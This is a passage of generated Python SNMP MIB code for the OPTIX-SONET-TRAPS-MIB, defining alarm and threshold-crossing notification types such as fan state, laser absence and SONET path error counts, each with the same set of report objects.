("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almChassisMea.setStatus('current') almLaserNotExist = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36923)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLaserNotExist.setStatus('current') almLCASBandwidthReduced = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36924)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLCASBandwidthReduced.setStatus('current') almGFPLossOfFrame = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36925)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almGFPLossOfFrame.setStatus('current') almFanIsOpened = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36926)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almFanIsOpened.setStatus('current') almFanIsClosed = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36927)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almFanIsClosed.setStatus('current') almPathLevelMismatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36928)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almPathLevelMismatch.setStatus('current') almTcaCVLine = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36930)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTcaCVLine.setStatus('current') almDCCFailureIndication = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36936)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almDCCFailureIndication.setStatus('current') almLanLossOfCarrierSignal = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36937)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLanLossOfCarrierSignal.setStatus('current') almTcaCVCPPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36938)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTcaCVCPPath.setStatus('current') almTcaCVPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36939)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTcaCVPath.setStatus('current') almTcaCVPPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36940)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTcaCVPPath.setStatus('current') almTcaCVSection = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36941)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTcaCVSection.setStatus('current') almTcaCVVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36942)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTcaCVVT.setStatus('current') almTcaESCPPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36943)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTcaESCPPath.setStatus('current') almTcaESLine = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36944)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTcaESLine.setStatus('current') almTcaESPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36945)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTcaESPath.setStatus('current') almTcaESPPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36946)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTcaESPPath.setStatus('current') almTcaESSection = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36947)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTcaESSection.setStatus('current') almTcaESVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36948)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTcaESVT.setStatus('current') almTcaPjcsPdet = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36949)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTcaPjcsPdet.setStatus('current') almTcaPjcsVdet = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36950)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTcaPjcsVdet.setStatus('current') almTcaSESCPPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36951)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTcaSESCPPath.setStatus('current') almTcaSESLine = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36952)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTcaSESLine.setStatus('current') almTcaSESPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36953)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTcaSESPath.setStatus('current') almTcaSESPPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36954)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTcaSESPPath.setStatus('current') almTcaSESSection = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36955)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), 